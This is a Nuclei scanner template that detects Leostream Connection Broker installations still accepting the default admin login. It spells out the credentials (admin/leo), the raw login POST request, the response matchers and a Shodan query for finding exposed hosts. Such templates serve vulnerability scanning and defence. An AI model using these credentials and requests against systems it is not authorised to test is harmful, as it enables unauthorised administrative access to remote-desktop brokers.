id: leostream-default-login

info:
  name: Leostream Default Login
  author: bhutch
  severity: high
  description: |
    Leostream default admin credentials were discovered.
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L
    cvss-score: 8.3
    cwe-id: CWE-522
    cpe: cpe:2.3:a:leostream:connection_broker:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    shodan-query: http.title:"Leostream"
    product: connection_broker
    vendor: leostream
  tags: leostream,default-login,vuln

http:
  - raw:
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}

        login_type=0&user={{username}}&password={{password}}&submit=SIGN+IN

    payloads:
      username:
        - admin
      password:
        - leo
    attack: pitchfork

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "Set-Cookie: lld=%21"

      - type: word
        part: header
        words:
          - 'index.pl'
          - 'server.pl'
          - 'status.pl'
        condition: or

      - type: status
        status:
          - 302
# digest: 4a0a0047304502210093a2c4fdb4909a73e2f6d7ae39c6e97c250fe5e2104314bcfc37a9ab3bf70989022071804f16a79dacb0e7a1eb8782e75eca558ff83c12c210a0d2f09bbb13bbd118:922c64590222798bb761d5b6d8e72950